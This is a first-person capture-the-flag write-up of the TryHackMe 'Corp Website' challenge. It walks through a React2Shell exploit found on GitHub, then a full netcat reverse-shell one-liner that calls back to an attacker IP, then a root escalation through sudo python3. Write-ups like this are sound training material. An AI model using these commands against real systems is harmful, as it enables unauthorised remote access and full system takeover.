# TryHackMe Corp Website—Writeup Welcome back to another writeup. This time, I’ll be going through how I solved the **Corp Website!** challenge from the THM Valentine’s event, **Love at First Breach 2026**. No excitement, no rush, just steps, logic, and silence. While the theme talks about love, this challenge felt more like tracing what was left behind: small mistakes, exposed surfaces, and things that were never meant to be seen. I’ll document the process from initial reconnaissance to the final compromise, focusing less on celebration and more on understanding how it all fell apart.
Let's visit the site
Huh, a sleek Valentine’s website. What’s the point? Places like this… ones full of feelings… have no space for someone as numb and broken as me. As I dig into the site’s structure, I noticed `_next/` paths and React lazy-loaded components in the source. Looks like this app was built with **React** and **Node.js**.
At first, I thought this challenge might be vulnerable to **React2Shell**. If you remember, last year that vulnerability caused source code leaks and DoS issues—and it looks like this challenge is affected by the same flaw. Next thing I did is to find an exploit for this in GitHub and I found this [PoC](https://github.com/liamromanis101/cve-2025-55182). So the next thing I did is to setup a reverse shell, this is the payload I've used ``` rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.144.243 1234 >/tmp/f ```
And voila!
We have a shell! Now let's get the user flag:
Now the question is how to reach root. Next thing I did is to list the commands available with elevated privileges by running `sudo -l`.
Python3... That means we can leverage a `pty` to spawn a new shell and escalate our privileges to root. ``` sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")' ``` And...
We've got the root and here's the root flag (redacted of course).
And that’s where it ends. No fireworks, no celebration, just a root shell staring back at me. The challenge is solved, but nothing really changes. This writeup isn’t about winning or proving anything; it’s just a record of steps, mistakes, and quiet persistence. In a challenge wrapped in Valentine’s colors and soft words, the reality underneath was still the same: systems fail, trust breaks, and everything leaves a trace. Sometimes you don’t break in with force, you just follow what was already exposed. Close the terminal, take a breath, and move on. There’s always another machine waiting to fall apart.